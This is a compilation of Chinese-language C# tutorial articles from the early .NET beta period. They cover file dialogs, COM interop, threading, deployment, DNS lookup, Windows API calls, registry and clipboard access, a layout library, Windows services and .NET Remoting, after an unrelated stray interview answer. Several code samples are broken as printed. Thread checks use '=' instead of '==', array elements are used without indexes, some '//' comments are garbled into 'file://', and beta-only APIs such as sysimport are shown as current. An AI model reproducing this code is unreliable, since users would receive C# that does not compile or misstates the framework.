答：首先我认为，技术的发展是逐步渐进的。今天人们使用互联网，很大程度上是一种人对于机器的互动。开始人们会在门户网站中使用Email和日程安排，但逐渐地会在网络上获得更多的应用服务，相信再发展下去，人们日常需要的服务将会集成到智能设备和个人电脑中。这种进步会是自然而然的。

目前我们不得不等待宽带网络的到来，我们还需要无线设备具有更大的数据吞吐量。技术发展的方方面面将会是一个齐头并进的局面。


csdn_C# 积木模块 ABC（一）

  C# 积木模块 ABC（一）
作者： 青苹果工作室
第一个C#程序：经典例程Hello World

“Hello World”可以说是学习每一种编程语言的第一个例程了。我们可以在NotePad、Wordpad等任何编辑器中输入以下的C#代码，并保存为helloworld.cs，最后在命令行中执行csc helloworld.cs来运行文件：

// using system
using System;
class Hello
{
static void Main() { // display output on console
Console.WriteLine("Hello,C# World!");
}
}

用OpenFileDialog类浏览或打开文件

同VC++中CfileDialog的 Open 方法相同，C#中的OpenFileDialog类可用于打开一个文件。这个类是从FileDialog派生出来的。用这个类中的 OpenFile方法打开一个文件，然后就可以通过流（steam）来读取这个文件。

请看下面的例程代码，它使用 OpenFileDialog类浏览一个文件：

OpenFileDialog fdlg = new OpenFileDialog();
fdlg.Title = "C# Corner Open File Dialog" ;
fdlg.InitialDirectory = @"c:\" ;
fdlg.Filter = "All files (*.*)|*.*|All files (*.*)|*.*" ;
fdlg.FilterIndex = 2 ;
fdlg.RestoreDirectory = true ;
if(fdlg.ShowDialog() == DialogResult.OK)
{
textBox1.Text = fdlg.FileName ;
}

Title一行设置打开对话框的标题，Filter一行为打开的文件类型设置一个过滤器，FileName一行包含了所选中的文件名。

下图就是运行的结果：

从C#中调用COM组件

.NET框架是COM的一个自然发展，两者共享许多核心要素，这包括组件的再利用以及语言的中立性。为了向后兼容，COM Interop可以使用现存的COM组件而不要求对原始组件进行修改。当一个 .NET 框架开发人员想将COM代码合并到一个管理应用程序中时，就可以用COM Interop功能引入相关的COM类型。引入之后，这个COM类型就可以使用了。这属于前期连接。但是有时候你需要对象的后期连接，这在.NET中也能实现，使用名称空间映射就可以通过后期连接来调用COM对象。

这里介绍一个应用程序例程，它将调用Excel，并且通过使用后期连接使它可视。

后期连接将使用Reflectionb的Type类，这个Type类有许多方法可以取得COM对象，就象我们已经使用过的 GetTypeFromProgID("Application")，这个方法从系统注册表中得到COM ID，然后使用STATIC类的成员 Activator.CreateInstance()创建这个COM对象的一个新例示。

要想调用COM对象的方法、函数和属性，就必须使用包含正确设置的Type对象的InvokeMethod()方法。这个方法接受一些参数变量，其中最重要的一个是方法类型的ex属性（get或set）。在例子中我们为Excel.Visible使用了set属性，从而使Excel应用程序可视。

我们将尝试在.NET环境中调用Excel应用程序。这是一个后期连接应用程序，因为如果是前期连接的话你就需要使用COM对象的RCW（RunTime Callable Wraper：运行时间的可调用包）来完成下面的命令行程序tblimp所完成的任务：

ex. c:\> tblimp /out:

下载COMinDOTNET.zip，这是一个控制台应用程序。下面是调用excel的代码：

//Variable
Type excel;
object[] parameter= new object[1];
object excelObject;
try
{
//Get the excel object
excel = Type.GetTypeFromProgID("Excel.Application");
//Create instance of excel
excelObject = Activator.CreateInstance(excel);
//Set the parameter whic u want to set
parameter[0] = true;
//Set the Visible property
excel.InvokeMember("Visible", BindingFlags.SetProperty, null, excelObject, parameter);
}
catch(Exception e)
{
Console.WriteLine("Error Stack {0} ", e.Message) ;
}
finally
{
//When this object is destroyed the Excel application will be closed
//So Sleep for sometime and see the excel application
Thread.Sleep(5000);
//Relaese the object
//GC.RunFinalizers()
}

创建多线程应用程序

在.NET和C#中编写一个多线程应用程序将非常得容易。即使对于那些从没有用C#编写过多线程应用程序的初学者，只需遵循以下这些简单的步骤就可以实现目的。

定义名称空间

在.NET中，多线程功能是在System.Threading名称空间中定义的。因此，在使用任何线程类之前，必须定义 System.Threading名称空间。定义方法如下：

using System.Threading;

启动线程

System.threading名称空间中的Thread类代表一个线程对象，用这个类对象可以创建新的线程，删除、暂停和恢复线程。 下面的代码使用Thread类创建一个新的线程，然后启动这个线程：

thread = new Thread(new ThreadStart( WriteData ));

thread.Start();

其中WriteData是这个线程要执行的一个函数，代码如下：

protected void WriteData()

{

string str ;

for ( int i = 0; i<=10000; i++ )

{

str = "Secondary Thread" + i.ToString();

Console.WriteLine(listView1.ListItems.Count, str, 0, new string[]{""} );

Update();

}

}

杀死线程

Thread类的Abort方法用于永久地杀死一个线程。但是请注意，在调用Abort方法前一定要判断线程是否还激活，也就是判断thread.IsAlive的值：

if ( thread.IsAlive )

{

thread.Abort();

}

暂停线程

Thread.Sleep方法用于将一个线程暂停一段时间，代码如下：

thread.Sleep();

设置线程的优先权

我们可以使用Thread类的ThreadPriority属性设置线程的优先权。线程优先权的取值范围是Normal、AboveNormal、BelowNormal、Highest或者Lowest。请看下面的设置代码：

thread.Priority = ThreadPriority.Highest;

延迟线程

Thread类的Suspend方法可以延迟一个线程。线程被延迟到调用Resume方法为止。

if (thread.ThreadState = ThreadState.Running )

{

thread.Suspend();

}

恢复被延迟的线程

调用Resume方法可以恢复一个被延迟的线程。如果线程没有被延迟，Resume方法就是无效的。

if (thread.ThreadState = ThreadState.Suspended )

{

thread.Resume();

}


csdn_C# 积木模块 ABC（二）

  C# 积木模块 ABC（二）
作者： 青苹果工作室
在C#中部署应用程序

在Visual Studio.NET中部署工程非常简单。大部分程序都可以通过一些方便的向导自动完成，而不需要费什么力气。但是要记住，根据请看，可能还需要在机器上安装Windows组件的更新Beta 1版。当然还需要Microsoft .NET框架。还要注意一点：Microsoft说当前的部署到了将来可能会无效。

一旦在Visual Studio中完成了应用程序的编写，就可以按照下述步骤开始部署：

首先，从文件菜单中选择增加新的工程文件：

然后，选择设置和部署工程，这时Visual Studio会提供一个部署工程的选项列表，根据是否要部署到Web上，再决定是采取压缩的.cab文件形式，还是采取Windows Setup程序的形式：

下表是不同类型的工程文件设置以及它们的描述和用途：

工程设置类型 描述 用途

CAB工程： 一个Microsoft压缩Cabinet文件，可以用cabarc.exe打开。 用于部署可从网上下载的应用程序。

部署向导：为web创建部署文件，或者为使用.msi设置文件的windows安装程序创建部署文件，并且将它们部署到远程机器或本地机器上。 用于同时为工程创建设置文件和部署文件。

合并模块：被不同应用程序共享的包组件。 部署一个组件库。
Web设置向导 为基于web的应用程序创建一个安装程序，程序将安装在一个web服务器的虚拟根目录中。 用于为web服务器创建安装程序。

设置向导：使用一个.msi设置文件为windows安装程序创建设置文件。 用于创建设置文件。看起来好象只创建了.msi文件，但所有东西都压缩在这个文件中。运行时将程序放在程序文件目录中。

我们选择使用设置向导来部署这个特定的应用程序。设置向导为创建设置工程文件提供了很好的step by step对话框：

同对话框中所指出的一样，向导创建了一个安装器，你可以用它来安装工程文件。下一屏询问希望创建哪种类型的安装器：

我们想要的是一个完全的老式Windows安装样式，因此选择“Create a setup for a rich client application”。下一屏提示要安装到哪个文件中：

如果只是想部署没有源代码或文档的应用程序，那么就选择“Primary output”（基本输出）。这样就为应用程序部署了必要的exe文件和dll文件。

下一屏提示想要包含在安装文件中而Microsoft没有包括的附加文件，如readme.txt、web pages等。在Hangman的情况下，我们增加了声音文件：

最后一屏是一个报告，告诉完成了什么以及创建的vdp(visual deployment project)在哪里：

点击“Finish”（结束）之后，就为部署创建了一个目录。现在需要建立工程文件以便部署它，因此从“创建”菜单中选择“创建方案”（build solution），这样就创建了安装应用程序所需要的MySetupProject.msi文件。

创建MySetupProject.msi后，双击它就会启动安装程序。对于大多数安装程序来说，这只是意味着将所有必要的文件全部复制到program files下的目录中。在这里的hangman工程文件中，这些文件指的是所有System.xxx.dll文件、Microsoft.xxx.dll文件（CLR 库）、nlp文件（通用语言资源）、运行时间类库mscorlib.DLL、mngdist.dll（可能是管理发送的）、xxx.wav（声音文件），当然还有可执行文件，在这里是Hangman.exe。

获取主机的IP地址

可以用.Net的DNS类来获取一个主机名或一个给定主机的IP地址。要想在程序中使用DNS类，就需要包含System.Net：

Include System.Net Reference

比如说想获取http://www.mindcracker.com/的IP地址，以下代码就会完成这个任务：

// Call DNS.GetHostName to get IPHostEntry and get the IP address list.

IPHostEntry ipEntry = DNS.GetHostByName ("www.mindcracker.com");

IPAddress [] IpAddr = ipEntry.AddressList;

for (int i = 0; i < IpAddr.Length; i++)

{

Console.WriteLine ("IP Address {0}: {1} ", i, IpAddr.ToString ());

}

另外，使用无参数的GetHostName可以返回本地机器的主机名：

string strHostName = DNS.GetHostName ();

然后将这个主机名作为参数传递给GetHostByName，就可以获取本地机器的IP地址信息。

如何调用对话信息框？

MessageBox.Show("Inavlid File", "File Open Result", MessageBox.OKCancel | MessageBox.IconHand);

如何调用Windows API？

在C#中调用一个API同在VB中调用API一样。我们应该知道API的DLL名称，并且使用sysimport引入它。下面这个例子显示了如何调用MessageBox API：

using System;

class callAPICls {

[sysimport(dll="user32.dll")]

public static extern int MessageBoxA(int h, string m, string c, int type);

public static int Main()

{

return MessageBoxA(0, "Hello World!", "Caption", 0);

}

}


csdn_C# 积木模块 ABC（三）

  C# 积木模块 ABC（三）
作者： 青苹果工作室
如何装载等待光标？

光标是Drawing名称空间的一部分。要显示一个特定的光标，可以查阅文档得到所有可用的类型。要显示等待光标，请试试以下代码：

componentsName.Cursor = System.Drawing.Cursors.WaitCursor;

// back to arrow

Cursor = Cursors.Arrow

如何获取机器上正在运行的进程？

使用System.Diagnostics.Process类可以启动和停止系统进程。GetProcesses函数返回了机器上正在运行的所有进程，它有两种定义，一种是用于本地机器，另一种用于远程机器。

如果想要获取本地机器上的运行进程，使用GetProcesses()；否则使用GetProcesses(string machinename)：

public static Process[] GetProcesses();

public static Process[] GetProcesses(string);

比如：

Process[] procList = new Process[100];

procList = Process.GetProcesses();

for ( int i=0; i<20; i++)

{

string strProcName = procList.ProcessName;

int iProcID = procList.Id;;

}

请不要忘记引用System.Diagnostic，将以下这行代码写在using列表中：

using System.Diagnostics;

通过使用Process类的方法，我们甚至可以启动、停止或取消进程。

如何在应用程序中打开浏览器？

使用System.Diagnostics.Process类可以启动和停止程序，这个类的Start函数可用于启动一个exe文件。比如，如果想在浏览器中打开一个URL，就可以将URL作为参数传递给Start函数：

System.Diagnostics.Process.Start("http://www.c-sharpcorner.com");

如何打开Wav文件？

可以用PlaySound API来播放一个wav文件。使用sysimport引入一个DLL，并在使用前将这个API定义为全局性的。请看下面调用API的代码：

[sysimport(dll="winmm.dll")]

public static extern long PlaySound(String lpszName, long hModule, long dwFlags);

................

PlaySound( szWavFileName , 0 , 0);

如何在C#中发送邮件？

要在C#中实现发送邮件的功能，需要使用的工具是Visual C# .NET，涉及到的名称空间有System.Web.Util，集合有System.Web.dll。

具体地，我们可以使用SmtpMail类在C#应用程序中发送邮件。默认状态下，邮件在系统中是排队的，这样可以确保调用程序不会造成网络阻塞。SmtpMail类在System.Web.Util名称空间中定义。在使用SmtpMail之前，需要调用

using System.Web.Util

这个类中只有一个成员函数Send。它负责发送一个邮件信息，无论是一个MailMessage类或者是4个参数变量都可以传递给Send函数。调用Send函数有两种形式：

SmtpMail.Send(txtFrom.Text, txtTo.Text, txtSubject.Text, txtMessage.Text);

或者是（如果不想调用System.Web.Util)：

System.Web.Util.Smptmail.Send( fromString, toString, SubjeOfTheMailString, MessageOfTheMailString );

我们可以通过两种途径来调用Send方法：

1、通过将MailMessage作为一个参数来传递：

public static void Send(MailMessage);

这里的MailMessage是一个类。

MailMessage mailMsg = new MailMessage();

mailMsg .From = "from@fromServer.com";

mailMsg .To = "to@toServer.com";

mailMsg .Cc = "cc@ccServer.com"";

mailMsg .Bcc = "bcc@bccServer.com";

mailMsg .Subject = "SubjectOfTheMailString";

mailMsg .Body = "BodyOfTheMailString";

SmtpMail.Send(mailMsg );

2、直接方法

public static void Send(string from , string to, string subject, string messageText);

from＝发送者的Email信息，to＝接收者的Email信息，subject＝Email主题，messageText＝Email信息主体。

比如：

SmtpMail.Send("mcb@mindcracker.com", "webmaster@mindcracker.com", "Subject", "Message body");


csdn_C# 积木模块 ABC（四）

  C# 积木模块 ABC（四）
作者： 青苹果工作室
如何从控制台读取数值？

下面解释如何从控制台获取一个输入值。如果使用的是C++，那么cin和cout就是向控制台读和写的函数。

在文本编辑器中输入这些代码，然后保存为read.cs：

using System;

class ReadStr

{

public static void Main()

{

Console.Write("Enter your name:");

string szName = Console.ReadLine();

Console.WriteLine(" Hey "+ szName);

}

}

然后在命令行编译它，格式是cs read.cs，这将创建一个exe文件read.exe，它与read.cs文件在同一目录下。最后，运行这个exe。

如何读取Windows注册表信息？

在介绍如何读取注册表信息前，先解释如何增加注册条目。

1、增加注册表数据

以下文本是实际的注册信息。将这个内容复制并粘贴到一个文本文件中，将其保存扩展名为.reg的文件，然后双击这个文件进行注册表内容的输入操作。

/*Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\TAW\BSE]

"DSN"="TAWReports"

"User"="TAW1"

"Password"="taw1.1"

"Server"="dbserver"

"IP"=""

*/

2、阅读注册数据

2.1 创建两个RegistryKey变量。

2.2 创建一个内含od对象的类，第一个参数为HKEY（主根关键字名），第二个为""，表示本地机器。

2.3 在要阅读信息的地方创建子关键字。

2.4 用RegistryKey类的Getvalue方法来读取某一特定节点关键字信息的数据。在这里，DSN,Server,Password就是节点。

以下代码读取刚才加入到注册表中的注册数据：

namespace CONAPP

{

using System;

using Microsoft.Win32;

public class Class1

{

public Class1()

{

//

// TODO: Add Constructor Logic here

//

}

public static int Main(string[] args)

{

RegistryKey SUBKEY;

RegistryKey TAWKAY = RegistryKey.OpenRemoteBaseKey(Microsoft.Win32.RegistryHive.CurrentUser,"");

string subkey = "Software\\TAW\\BSE";

SUBKEY = TAWKAY.OpenSubKey(subkey);

object dsn = SUBKEY.GetValue("DSN");

object user = SUBKEY.GetValue("user");

object password = SUBKEY.GetValue("password");

object server = SUBKEY.GetValue("server");

return 0;

}

}

}

这里是可下载代码包：http://www.mindcracker.com/csharp/1/read_reg.cs

使用系统剪贴板

这里要涉及的集合是System.Winforms.dll，名称空间是System.Winforms。

系统剪贴板是一个提供剪切和粘贴功能的缓冲空间。在C#中，ClipBoard类提供了将数据放在系统剪贴板以及从系统剪贴板恢复数据的方法。如果你曾经使用过C++中的ClipBoard，你应该记得IDataObject，它提供了剪贴板的数据格式。在.NET中，可以使用DataFormat类，它执行IdataObject，为数据传输提供了一种格式独立的结构。有关这方面的细节请看DataFormat类的参考资料。

Clipboard类只有3个成员，它们是剪贴板构造器、GetDataObject和SetDataObject。

剪贴板构造器

Clipboad类直接从Object类中派生出来。我们可以在应用程序中直接调用Clipboard类，或者使用剪贴板构造器来创建一个剪贴板实例：

Clipboard = new Clipboard();

甚至可以直接在应用程序中调用Clipboard：

IDataObject iData = System.WinForms.Clipboard.GetDataObject();

SetDataObject方法

我们可以调用SetDataObject方法实现在剪贴板上复制或剪切数据。SetDataObject方法有两个定义：

public static void SetDataObject(Object);

这种方法使用了一个Object类型参数，它可以是任何数据，比如说：

string str = "Mahesh writing data to the Clipboard";

SetDataObject(str);

使用这个方法，就可以把任何类型的数据放在剪贴板上。

另外一种方法接受两个参数：

public static void SetDataObject(Object data, bool copy);

copy这个参数指明应用程序退出后，数据是否应该保留在剪贴板上。

string str = "Mahesh writing data to the Clipboard using Copy bool";

SetDataObject(str, true);

GetDataObject方法

GetDataObject方法负责从剪贴板中恢复当前数据，它将返回IdataObject：

public static IDataObject GetDataObject();

比如说：

IDataObject dtObj = Clipboard.GetDataObject();

现在就可以调用IDataObject的GetFormats来找出剪贴板上的数据格式了，比如说：

private void CutCopyData()

{

Clipboard.SetDataObject(textBox1.SelectedText);

}

private void PasteData()

{

IDataObject iData = Clipboard.GetDataObject();

//Determine whether the data is in a format you can use.

if(iData.GetDataPresent(DataFormats.Text))

{

string str = (String)iData.GetData(DataFormats.Text);

}

}


csdn_C＃中的版面管理器

  C＃中的版面管理器
作者： 青苹果工作室编译
当程序员准备设计一个GUI（图形用户界面）的时候，他将面对许多特殊的问题：视觉效果、可伸缩性、可调整的性能、修改便利性等等。版面管理器通过设置版面化对象的大小和位置帮助你解决了这些问题，同时其本身也是版面化的。Java程序员对版面管理器的概念应该是比较熟悉的，但从其它编程背景中转到 C# 的程序员可能需要对此逐渐熟悉。如果你的编程背景是Java，可以直接阅读下面有关Java和C#中版面管理器的区别部分。
何为版面管理器
版面管理器能够决定版面化对象的尺寸和大小。版面管理器是可以用在任何场合的，不过它最广泛的应用还是在GUI设计中。近些年出现的一些工具（其中大多数是基于Borland的伟大的 C++ 系列）使得GUI的设计更加简单，但即使是这样，GUI设计还是一个较复杂的问题。对于那些想使这个问题简单化或是想更直接控制版面的人，版面管理器应该是一个较好的解决之道。版面管理器为程序员的设计带来了许多实在的帮助，通过使用版面管理器的嵌套和区域管理，几乎所有的配置都成为可能。另外，版面管理器还能帮助程序员解决 GUI开发中一些“令人讨厌”的部分，比如调整尺寸、正常版面、可伸缩性，让程序员能够将更多的时间集中于设计哪些更有意义的部分。

Java和 C#中版面管理器的区别
Java中的版面管理器与在C#中执行的版面管理器主要有两个区别。首先，在 Java中，版面管理器只是纯粹被用在图形用户界面的区域，即只有组件可以用版面管理器来排版。在C#的版面管理器中，所有执行ILayoutable界面的对象都可以进行排版，这样就在图形及地图设计等领域中提供了更多设计上的可能性。第二个不同与第一个有关。由于这里执行的版面管理器并不直接受GUI对象的约束，而只是编排版面化对象的抽象概念，因此就有可能将版面管理器用于母控制的独特区域。你可以在母控制中指定一个矩形区域，给它一个版面管理器，向它增加子控制。如此，我们不但拥有了哪些Java中的标准版面管理器操作外，还为GUI设计带来了难以置信的威力。

如何使用版面库
在本文中所执行的版面管理器的版面库对于原来的 Java程序员来说可能是很熟悉的，它基于两个界面：Ilayoutable和 IlayoutManager，后者是对 Ilayoutable的扩展。库的其余部分包括这两个界面对 GUI 设计的特殊问题的执行。

ControlBox：这是控件版面结构的基础，是Controls的基础包装类。
ContainerBox：从ControlBox中继承而来，能够增加其它 ControlBoxes 并布置它们。
AreaPane：从ContainerBox中继承而来，其作用相当于最高级别面板。它在一个矩形区域中布置了被添加到其中的各种控件。
ResizeablePane：从 AreaPane中继承而来，唯一的不同是它总是调整到其母控件的客户端尺寸。
库中提供的还有一些样本版面:

BorderLayout：允许5个不同的版面化对象，在北、南、东、西和中央各一个。所有组件的大小都被压缩了，北和南在垂直方向上尽可能小，在水平方向上尽可能大。而西和东在水平方向上尽可能小，在垂直方向上尽可能大。中心的版面化对象则填充了剩余的空间。
GridLayout：用了一些行和列，创建一个栅格，用户可以向其中增加控件。栅格中的每个成员大小都相同，按照它们增加的顺序，从左到右沿着行分布。
FlowLayout：试图向一个水平行中增加控件，一旦这行对于容器的宽度来说太大了，就开始新的一行。可以向左、中央和右看齐。
在 GUI 创建中使用这些类是很简单的。当创建一个其中包含其它控件的控件时，将其包装在一个 ContainerBox中，设置盒子的版面，然后向盒子中增加所有的子控件。唯一没有增加到ContainerBox中的控件是最顶部级别的控件，它通常是一个表单，被包装在一个AreaPane或一个 ResizeablePane中。一个ResizeablePane将采用其母控件的形状，但是一个AreaPane 则是所指定区域的形状。

[img]http://www.ccidnet.com/html//tech/guide/2001/04/27/image/010427b1.jpg[/img]

上图是一个用版面库开发的GUI。以下是布置控件的代码，其中用注释取代了附加部分。

public class CalculatorForm : Form
{
public CalculatorForm()
{
Size = new Size(200, 250);
Text = "Calculator";
myCalculator = new Calculator();
//This will be the top-level pane to which all other controls will be added
//and which also resizes as the Form is resized.
AreaPane controlPane = new ResizeablePane(this, ClientRectangle, new BorderLayout());
myTextBox = new TextBox();
myTextBox.Text = "0";
//Notice that the control is added to the pane. ContainerBoxes will
//add all controls which are added to them to their boxed control automatically.
controlPane.Add(myTextBox, BorderLayout.Direction.North);
Panel p = new Panel();
//Since buttonPane will have other controls added to it, it is wrapped in
//a ContainerBox.
ContainerBox buttonPane = new ContainerBox(p);
addButtons(buttonPane);
Button clearB = new Button();
clearB.Text = "Clear";
clearB.Click += new EventHandler(clear);
controlPane.Add(clearB, BorderLayout.Direction.South);
controlPane.Add(buttonPane, BorderLayout.Direction.Center);
}
private void addButtons(ContainerBox pane)
{
pane.layoutManager = new GridLayout(4, 3);
for(int i=1; i<10; i++){
Button b = getDigitButton(i);
pane.Add(b);
}
Button zero = getDigitButton(0);
Button plus = getButton("+");
Button minus = getButton("-");
plus.Click += new EventHandler(action);
minus.Click += new EventHandler(action);
pane.Add(plus);
pane.Add(zero);
pane.Add(minus);
}
//private methods called by the constructor
//...
}


csdn_用C＃创建Windows(NT)服务

  用C＃创建Windows(NT)服务
作者： 青苹果工作室
Windows服务在Visual Studio 以前的版本中叫NT服务，在VS.net启用了新的名称。用Visual C# 创建Windows服务不是一件困难的事，本文就将指导你一步一步创建一个Windows服务并使用它。这个服务在启动和停止时，向一个文本文件中写入一些文字信息。这个小技巧来自于MSDN，但是现在程序编写的更加清晰，并且你可以根据你的需要修改它。可下载工程文件包：mcWinService.zip。
第一步：创建服务框架
要创建一个新的 Windows 服务，可以从Visual C# 工程中选取 Windows 服务（Windows Service）选项，给工程一个新文件名，然后点击 OK。结果看起来是这样的：

你可以看到，向导向工程文件中增加WebService1.cs类：

将ServiceName（服务名）设置成你自己需要的名字，这样在测试期间就更容易识别你的服务，也可以通过编写代码来设置这个属性，方法是this.ServiceName = "mcWinService"：

向导在WebService1.cs中增加的默认代码。
第二步：向服务中增加功能
在 WebService1.cs中我们可以看到，有两个被忽略的函数 OnStart和OnStop。

OnStart函数在启动服务时执行，OnStop函数在停止服务时执行。在这里，当启动和停止服务时，向一个文本文件中写入一些文字信息，代码如此。
第三步：安装和运行服务
这个应用程序最后生成一个exe文件mcWinService.exe。要注册这个服务，你需启动开始菜单中的命令行按如下方式调用installutil：installutil C:\mcWebService\bin\Debug\mcWebService.exe。要卸载服务，使用 /u 选项：installutil /u C:\mcWebService\bin\Debug\mcWebService.exe。

第四步：启动和停止服务
在桌面用右键点击图标“我的电脑”选择管理菜单项(Manage)，然后启动“服务和应用程序(Services and Applications)”中的服务(Services)；你也可以直接从开始菜单中选择管理工具中的计算机管理(Computer Management)进入服务。这样你就能看到服务 mcWinService，右键单击弹出菜单中有启动和停止选项。

第五步：测试服务
转到 temp 目录中，看看文本文件是否存在，有没有写入内容。


csdn_微软的远程处理框架.NET Remoting(1)

  微软的远程处理框架.NET Remoting(1)
作者： QQ新人类编译
    微软的.NET Remoting提供了一种允许对象通过应用程序域与另一对象进行交互的框架。本文将通过两个具体的代码例子介绍它的特性，通过.NET Remoting，两个应用间的通信将变得非常简单，使用上也相当灵活。

    最近几年来，在计算机世界中，关于“向外扩展”（scale-out）与“向上扩展”（scale-up）的讨论不断，并且有向scale-out转化的趋势。在以前，当计算机跟不上应用对性能的要求时，人们将会购买一台更好更昂贵的机器，这就是scale-up，而scale-out则是通过在网络中加入更多的机器来解决这个问题，这样就无需更换整个系统。通过将计算的负担分配在多个系统中，整个系统就有了更高的可用性。

    如果将这个scale-out的意念更推进一步，我们可能会发现：为什么要将诸如信用卡验证和运送跟踪的处理放在我们的系统呢？如果能够调用售卖者的应用来直接得到这些服务，岂不可以做得更为简单吗？如果能做到这一点，我们就可以扩展自己程序的功能，而无需再加入额外的硬件。值得注意的是，这样做将会另ISV（独立软件开发商）的角色由一个软件提供者，转变为一个服务提供者。

    这个想法很好，但是目前的技术要实现它的话，存在着不少的问题。DCOM在跨防火墙工作时会有问题。DCOM是建立在私有协议上的，而CORBA存在有多种不同接口的问题。如果将DCOM和CORBA放在一起工作呢，就更麻烦了。

    为了实现这个scale-out的想法，我们需要一个组件技术，它可以跨越多种类型的网络和多种协议无缝地工作。远程.NET就可以做到这一点。

    这个无缝的交互是通过使用XML和SOAP来实现的。不过，它并没有认定SOAP进行组件交互的唯一方法，它也并没有认定HTTP或者TCP/IP是用来连接这些服务的网络协议。这样可令远程架构更加灵活，并且可适应协议和网络的变化。

    .NET架构是使用channel对象将应用连接在一起的。.NET架构提出了两种channel，它们是：

    System.Runtime.Remoting.Channels.TCP
    System.Runtime.Remoting.Channels.HTTP

    TCP channel和现有的DCOM非常类似，可提供很高的性能，在机器都处在一个内部网络时，可选用TCP channel，而HTTP channel使用HTTP协议，可让应用在Internet上交互。由于它使用的是HTTP协议，它可以很容易地做到负载均衡，并且能通过防火墙。


csdn_微软的远程处理框架.NET Remoting(2)

  微软的远程处理框架.NET Remoting(2)
作者： QQ新人类编译
    以下我们将举一个使用channel的例子。在这个例子中，我们将可以看到使用HTTP channel把两个应用
连接在一起是如此的简单。以下的服务器应用提供了一个服务，可将一个字符串的字母顺序反转。

    Server.cs using System;
    using System.IO;
    using System.Runtime.Remoting;
    using System.Runtime.Remoting.Channels.HTTP;

    namespace RemotingSample
    {
      public class Reverser : MarshalByRefObject
      {
        public string Reverse(string text)
        {
          Console.WriteLine("Reverse({0})", text);

          string rev = "";

          for (int i=text.Length-1; i>=0; i--)
          {
            rev += text[i];
            }

          Console.WriteLine("returning : {0}", rev);

          return rev;
        }
      }

      public class TheApp
      {
        public static void Main()
        {
          file:// Create a new HTTP channel that
          // listens on port 8000
          HTTPChannel channel = new HTTPChannel(8000);

          // Register the channel with the runtime
          ChannelServices.RegisterChannel(channel);

          // Expose the Reverser object from this server
          RemotingServices.RegisterWellKnownType(
                  "server", // assembly name
                  "RemotingSample.Reverser", // full type name
                  "Reverser.soap", file:// URI
                  WellKnownObjectMode.Singleton // instancing mode
            );

          // keep the server running until
          // the user presses enter
          Console.WriteLine("Server.exe");
          Console.WriteLine("Press enter to stop server...");
          Console.ReadLine();
        }
      }
    }

    现在我们已经拥有了一个字符反向服务，以下我们将建立一个客户应用来使用这个服务：

      Client.cs using System;
      using System.Runtime.Remoting;
      using System.Runtime.Remoting.Channels.HTTP;
      using RemotingSample; // reference the server

      public class TheApp
        {
          public static void Main()
          {
            // Create and register a channel
            // to comunicate to the server.
            // The client will use port 8001
            // to listen for callbacks
            HTTPChannel channel = new HTTPChannel(8001);
            ChannelServices.RegisterChannel(channel);

            // create an instance on the remote server
            // and call a method remotely
            Reverser rev = (Reverser)Activator.GetObject(
                  typeof(Reverser), // type to create
                  "http://localhost:8000/Reverser.soap" file:// URI
                  );
            Console.WriteLine("Client.exe");
            Console.WriteLine(rev.Reverse("Hello, World!"));
          }
        }

************图一　　　　　　　　　　　　　　　图二*******************

看，通过远程.NET将两个应用连接在一起是多么的简单。当服务端和客户端程序放在两台不同的机器时，我们可以令两个程序都运行在80端口。这样远程的调用就可通过一个防火墙。你也可将HTTPChannel改为一个TCPChannel试一下。

    你要注意到，客户端是通过“Reverser.soap”来标识它想连接的对象的。这个名字与服务器代码中RegisterWellKnownType的URI参数符合。“.soap”的扩展是不必要的。URI可以是任何的字符串，只要它能唯一标识服务器的对象就可以了。“.soap”的扩展只是用来提醒我们HTTP channel是使用soap来格式化信息的。

    在上面有关channel的例子中，你可能会产生这样的疑问：参数是如何跨网络传送，返回值又是如何送回的呢？答案是，在参数被跨网络传送之前，他们必须经过串行化处理。对于需要传送的所有对象或者结构，都要经过这样的处理。串行化的处理很简单，只是以连续字节的方式建立变量或者对象中的数据的一个持续拷贝。将这些字节还原为一个值或者对象实例的处理被称为反串行化。

    那么参数是如何串行化的呢？远程.NET架构为我们提供了一个称为格式器（formatters）的对象集。格式器可将一个对象变成是一个特定的持续数据格式，也可以将该它还原回来。.NET为我们提供了两种格式器：

    System.Runtime.Serialization.Formatters.Binary
    System.Runtime.Serialization.Formatters.SOAP

binary（二进制）格式器是最简单的。它只是将数据直接转换为一个字节流。SOAP格式器使用一个XML来保持一个对象数据。要知道SOAP更详细的信息，可到http://www.soapwebservices.com。

以下我们举一个有关格式器的简单例子。我们将使用SOAP格式器，由于它使用的是XML，我们可以很容易地读出串行化的数据。

    Soap.cs using System;
    using System.IO;
    using System.Runtime.Serialization.Formatters.Soap;

    public class Person
    {
      public string FirstName = "David";
      public string LastName = "Findley";
      private int Age = 29;
    }

    public class TheApp
    {
      public static void Main()
      {
        Stream stream = File.Create("example.xml");
        SoapFormatter formatter = new SoapFormatter();
        Person p = new Person();

        // persist an integer
        formatter.Serialize(stream, 5);

        file:// persist a string
        formatter.Serialize(stream, "This is a string");

        // persist an object
        formatter.Serialize(stream, p);

        stream.Close();
      }
    }

    对于每个串行化的调用，example.xml的内容将有三个不同的部分：

    Example.xml

    ＜SOAP-ENV:Body＞
    ＜xsd:int id="ref-1"＞
    ＜m_value＞5＜/m_value＞
    ＜/xsd:int＞
    ＜/SOAP-ENV:Body＞

    ＜SOAP-ENV:Body＞
    ＜SOAP-ENC:string id="ref-1"＞This is a string＜/SOAP-ENC:string＞
    ＜/SOAP-ENV:Body＞

    ＜SOAP-ENV:Body＞
    ＜a1:Person id="ref-1"＞
    ＜FirstName id="ref-3"＞David＜/FirstName＞
    ＜LastName id="ref-4"＞Findley＜/LastName＞
    ＜Age＞29＜/Age＞
    ＜/a1:Person＞
    ＜/SOAP-ENV:Body＞

你可以看出，它可以串行化基本值类和对象。HTTPChannel使用SOAP格式器在客户和服务器之间传送数据。

    总的来说，格式器可以格式和保持值或者对象的数据。Channel传送和接收数据。通过channel和格式器的协同工作，我们将可以使用任何的网络和协议来连接两个应用。


csdn_Microsoft .NET Remoting：技术概述

  Microsoft .NET Remoting：技术概述
作者： msdn
简介
